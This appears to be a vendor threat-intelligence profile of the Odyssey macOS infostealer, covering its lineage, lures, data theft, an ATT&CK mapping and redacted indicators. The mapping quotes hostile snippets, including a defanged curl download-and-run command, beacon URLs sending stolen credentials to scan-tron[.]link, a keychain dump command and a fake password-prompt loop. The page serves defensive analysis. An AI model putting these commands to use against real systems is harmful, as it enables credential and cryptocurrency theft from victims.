Malware

Odyssey

Odyssey is a macOS-focused infostealer sold and operated as a malware-as-a-service offering. It is widely assessed as the successor and rebrand of Poseidon Stealer, itself derived from the Atomic macOS Stealer (AMOS) lineage, and has become one of the most prevalent stealer families targeting Apple systems. Odyssey has been associated with campaigns aimed at cryptocurrency users, software developers, and general macOS users through fake software installers, branded lure pages, and ClickFix-style social engineering.

Odyssey is designed to rapidly collect and exfiltrate sensitive user data. Reported collection targets include browser cookies, saved credentials, authentication data, login keychains, Apple Notes content, browser extension data, and extensive cryptocurrency wallet material from both browser-based and desktop wallet applications. Multiple reports also describe theft of passwords and wallet secrets through fake prompts and trojanized wallet application workflows. Administrative panel functionality tied to Odyssey indicates support for bot management, stolen log handling, AppleScript payload building, SOCKS proxy management, guest access, and configurable exfiltration channels including Telegram and FTP, with newer builds also supporting cryptocurrency seed phrase handling and emergency teardown features.

Observed delivery methods rely heavily on user-driven execution rather than exploitation. Odyssey has been distributed through ClickFix campaigns that impersonate brands such as TradingView and Microsoft Teams, prompting victims to copy and execute malicious commands. It has also been spread through fake Homebrew and LogMeIn lures, weaponized disk images masquerading as legitimate macOS software installers, poisoned search results, piracy-themed distribution, and fake download pages that tailor payloads based on the visitor operating system. Some campaigns used drag-to-install or drag-to-Terminal style social engineering within mounted DMG images, while others used AppleScript or shell-based execution chains.

Behavior observed in campaigns includes system profiling, local password validation, collection of browser and wallet data, staging of stolen files into archives, and exfiltration to operator-controlled infrastructure. Some variants establish persistence on macOS, including through LaunchDaemon installation, and at least one campaign replaced a legitimate cryptocurrency wallet application with a trojanized version to facilitate continued theft. Odyssey activity also reflects broader macOS malware trends such as code-signing abuse, notarized delivery, and reuse of tradecraft across related AMOS-derived families.

Odyssey is part of a broader criminal ecosystem rather than a state-linked intrusion set. Reporting has tied it to affiliate-style operations and MaaS distribution, with infrastructure and lure-page customization suggesting multiple operators or customers. Its prevalence, frequent rebranding within the AMOS/Poseidon/Odyssey cluster, and overlap with other macOS stealers complicate tracking, but the family is consistently characterized as a high-volume macOS infostealer focused on credential theft, session theft, and cryptocurrency-related data theft.

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

31 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

3 techniques

T1078Valid AccountsEvidence1

Stashes the captured password at ~/.pwd. (T1555, T1078)

T1195.002Compromise Software Supply ChainEvidence1

MITRE ATT&CK Mapping The Backdoor (scan-tron.link targeting Odyssey operators) Tactic Technique ID Initial Access Supply Chain Compromise T1195.002

T1566PhishingEvidence1

These attacks rely on fake software installers disguised as legitimate apps, tricking users into handing over access without raising any alarm.

Execution

4 techniques

T1053.003CronEvidence1

LaunchDaemon persistence: downloads a shell command string, wraps it in a random-named com.<random>.plist, installs to /Library/LaunchDaemons/, launchctl bootstrap system ...; falls back to nohup run if bootstrap fails. Requires sudo, hence the password prompt earlier. (T1543.004, T1053.003)

T1059.002AppleScriptEvidence2

One-liner launches a large embedded AppleScript with osascript -e 'run script ...'. No exploit, just script execution. (T1059.002)

T1059.004Unix ShellEvidence1

The command that’s copied for macOS devices instructs the system to... curl -o /tmp/update hxxps[:]//applemacios[.]com/getrur/update ... chmod +x /tmp/update ... Run the downloaded file /tmp/update.

T1204User ExecutionEvidence1

A malicious one looks identical but includes instructions on how to override Gatekeeper, Apple’s tool for verifying trusted software.

Persistence

5 techniques

T1053.003CronEvidence1

T1078Valid AccountsEvidence1

Stashes the captured password at ~/.pwd. (T1555, T1078)

T1543.004Launch DaemonEvidence1

T1547Boot or Logon Autostart ExecutionEvidence1

Per-bot actions: make persistent (survives reboot), execute remote shell commands, enable SOCKS proxy, re-run stealer.

T1556Modify Authentication ProcessEvidence1

MITRE ATT&CK Mapping The Backdoor (scan-tron.link targeting Odyssey operators) ... Defense Evasion Modify Authentication Process T1556

Privilege Escalation

4 techniques

T1053.003CronEvidence1

T1078Valid AccountsEvidence1

Stashes the captured password at ~/.pwd. (T1555, T1078)

T1543.004Launch DaemonEvidence1

T1547Boot or Logon Autostart ExecutionEvidence1

Per-bot actions: make persistent (survives reboot), execute remote shell commands, enable SOCKS proxy, re-run stealer.

Stealth

3 techniques

T1036MasqueradingEvidence2

Attackers invest heavily in making fake installers look exactly like the real thing, complete with branded graphics and instructions guiding victims to bypass Apple’s built-in protections.

T1070.004File DeletionEvidence1

Cleans up the working dir and /tmp/out.zip after upload. (T1070.004)

T1078Valid AccountsEvidence1

Stashes the captured password at ~/.pwd. (T1555, T1078)

Defense Impairment

1 technique

T1556Modify Authentication ProcessEvidence1

MITRE ATT&CK Mapping The Backdoor (scan-tron.link targeting Odyssey operators) ... Defense Evasion Modify Authentication Process T1556

Credential Access

9 techniques

T1056.002GUI Input CaptureEvidence1

Checks if it can auth the local user with dscl . authonly. If not, it prompts the user with a fake dialog: “Required Application Helper. Please enter device password to continue.” It loops until the correct password is entered. (T1056.002, T1110)

T1056.003Web Portal CaptureEvidence1

When the wrapper sees a POST request to /api/v1/sign-in, it extracts username and password from the request body Sends both to https://scan-tron[.]link/l?d=

T1110Brute ForceEvidence1

T1539Steal Web Session CookieEvidence3

Credentials, browser cookies, authentication tokens, and crypto wallets are all fair game.

T1555Credentials from Password StoresEvidence2

Stashes the captured password at ~/.pwd. (T1555, T1078)

T1555.001KeychainEvidence1

Tries to pull the Chrome keychain item via security ... find-generic-password -ga "Chrome" and writes a “masterpass-chrome” file. (T1555.001)

T1555.003Credentials from Web BrowsersEvidence1

Browsers (Chromium family: Chrome, Brave, Edge, Vivaldi, Opera, OperaGX, Chromium, etc.) Walks every Default/Profile * profile and copies: Cookies, Web Data, Login Data (saved logins & autofill). (T1555.003)

T1556Modify Authentication ProcessEvidence1

MITRE ATT&CK Mapping The Backdoor (scan-tron.link targeting Odyssey operators) ... Defense Evasion Modify Authentication Process T1556

T1649Steal or Forge Authentication CertificatesEvidence1

Credentials, browser cookies, authentication tokens, and crypto wallets are all fair game.

Discovery

2 techniques

T1082System Information DiscoveryEvidence1

Gathers system inventory with system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType; stores it as “hardware” in a temp working dir /tmp/<random>/. (T1082)

T1614System Location DiscoveryEvidence1

if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi ... if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" ... exit 0 fi

Collection

7 techniques

T1005Data from Local SystemEvidence2

Local Extension Settings/ and IndexedDB/ for a very long allowlist of extension IDs (wallets, password managers, etc.). (T1005)

T1056.002GUI Input CaptureEvidence1

T1056.003Web Portal CaptureEvidence1

When the wrapper sees a POST request to /api/v1/sign-in, it extracts username and password from the request body Sends both to https://scan-tron[.]link/l?d=

T1074Data StagedEvidence1

Mirrors directory trees but skips noisy caches (GPUCache, Code Cache, Crashpad, Cache, etc.). (T1074)

T1113Screen CaptureEvidence1

Apple Notes database (NoteStore.sqlite, -wal, -shm) + a fallback that talks to the Notes app to export note bodies into HTML; also vacuums Notes attachments from Notes “Media” folders. (T1119, T1113)

T1119Automated CollectionEvidence1

T1560Archive Collected DataEvidence1

Archives everything to /tmp/out.zip via ditto -c -k. (T1560)

Command and Control

2 techniques

T1090.001Internal ProxyEvidence1

SOCKS Proxy : Turn infected Macs into SOCKS proxies filtered by country code. Proxy URL generation for direct use.

T1105Ingress Tool TransferEvidence1

Same host serves secondary payloads at /otherassets/plist and /otherassets/ledger.zip. (T1105)

Exfiltration

2 techniques

T1041Exfiltration Over C2 ChannelEvidence3

Instead, they run a smash-and-grab, pulling sensitive data and sending it off to a remote server before the victim notices.

T1567Exfiltration Over Web ServiceEvidence1

Sends everything to https://scan-tron[.]link/c?d= as a URL-encoded JSON blob via an invisible Image() beacon ... Sends both to https://scan-tron[.]link/l?d= via the same Image beacon technique

INDICATORS OF COMPROMISE

IOCs tracked for this family

8 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

4 tracked

IPs, domains, and DNS infrastructure linked to this family.

Other

4 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

domain●●●●●●●●●●●●View more in app3 months ago

ip.v4●●●●●●●●●●●●View more in app3 months ago

uri●●●●●●●●●●●●View more in app3 months ago

domain●●●●●●●●●●●●View more in app3 months ago

uri●●●●●●●●●●●●View more in app7 months ago

ACTIVITY FEED

Recent activity

14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

14 SOURCESView more in app

moonlock blogNews

Jul 16, 2026

Moonlock's mid-2026 macOS threat report

A macOS infostealer and AMOS fork heavily distributed via fake software lures; part of the broader AMOS lineage dominating stealer detections.

cyber security newsNews

Jun 11, 2026

Hackers Use Weaponized DMG Files to Target macOS Users With Infostealer Malware - Cyber Security News

A macOS infostealer used in fake installer campaigns leveraging weaponized DMG files to trick users into approving execution and rapidly exfiltrate sensitive information.

breakglass intelNews

Apr 20, 2026

Someone Is Stealing From the Stealers: A Backdoored Odyssey macOS Panel Leaks Operator Credentials to scan-tron.link - Breakglass Intelligence - Breakglass Intelligence

A macOS infostealer platform with an operator panel supporting bot management, credential and cookie theft, seed phrase extraction, SOCKS proxying, AppleScript payload building, log export, persistence, and remote shell/tasking capabilities.

walmart global tech infosecNews

Apr 6, 2026

Shub Stealers Fake Crypto Apps. By: Jason Reaves | by Jason Reaves | Walmart Global Tech Blog | Apr, 2026 | Medium

Referenced as a related macOS infostealer variant with similar behavior to Shub Stealer.

+10 more in the timeline

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching8

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping31

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Odyssey